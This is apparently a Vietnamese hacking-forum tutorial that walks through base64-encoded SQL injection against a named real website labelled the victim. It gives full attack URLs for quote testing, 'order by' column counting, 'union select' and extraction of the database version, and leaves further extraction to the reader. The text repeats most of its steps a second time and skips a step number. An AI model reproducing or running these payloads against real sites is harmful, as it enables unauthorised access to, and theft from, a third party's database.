Tut SQL Base64 encode/decode

cái bài này mình lấy bên ceh chúng ta cùng thử nhé
Victim:http://www.polercisewa.com.au

B1: Tìm link bị lỗi

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OA==&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

Các bạn để ý đến sau biến catid= là một đoạn mã hóa OA== chính là base 64 vậy ta phải decode đoạn base 64 OA== được số 8. Vậy khi này đường dẫn sẽ đơn giản

Mã:
http://www.polercisewa.com.au/subcat.php?catid=8&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

Kiểm tra SQL ta chỉ cần thêm dấu ' và sau đó lại encode. Rồi chạy


Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCc=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

[Hình: 8991.jpg]

Bước 2: Tìm số cột

Chú ý phải có dấu ' sau số 8 nhé
catid=8' order by 1-- -
encode rồi chạy

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgMS0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8' order by 2-- -
encode

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgMi0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8' order by 3-- -

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgMy0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8' order by 4-- -

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgNC0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8; order by 5-- -

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgNS0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> phun ra lỗi rồi

Mã:

http://www.polercisewa.com.au/subcat.php?catid=OCcgdW5pb24gc2VsZWN0IDEsMiwzLDQtLSAt&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Hiện ra số 3 rồi

Bước 4: Tìm user,version,database
Ở đây tôi tìm version

Mã:

http://www.polercisewa.com.au/subcat.php?catid=OCcgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCksNC0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

->Ra version 5 rồi
Các bước sau các bạn tìm tiếp nhé
B1: Tìm link bị lỗi

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OA==&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

Các bạn để ý đến sau biến catid= là một đoạn mã hóa OA== chính là base 64 vậy ta phải decode đoạn base 64 OA== được số 8. Vậy khi này đường dẫn sẽ đơn giản

Mã:
http://www.polercisewa.com.au/subcat.php?catid=8&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

Kiểm tra SQL ta chỉ cần thêm dấu ' và sau đó lại encode. Rồi chạy

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCc=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

[Hình: 8991.jpg]

Bước 2: Tìm số cột

Chú ý phải có dấu ' sau số 8 nhé
catid=8' order by 1-- -
encode rồi chạy

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgMS0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8' order by 2-- -
encode

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgMi0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8' order by 3-- -

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgMy0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8' order by 4-- -

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgNC0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> Không phun ra lỗi
catid=8; order by 5-- -

Mã:
http://www.polercisewa.com.au/subcat.php?catid=OCcgb3JkZXIgYnkgNS0tIC0=&PHPSESSID=7864ec7f7f25ebc9d9ce70e4482dc0b2

-> phun ra lỗi rồi

Related Post: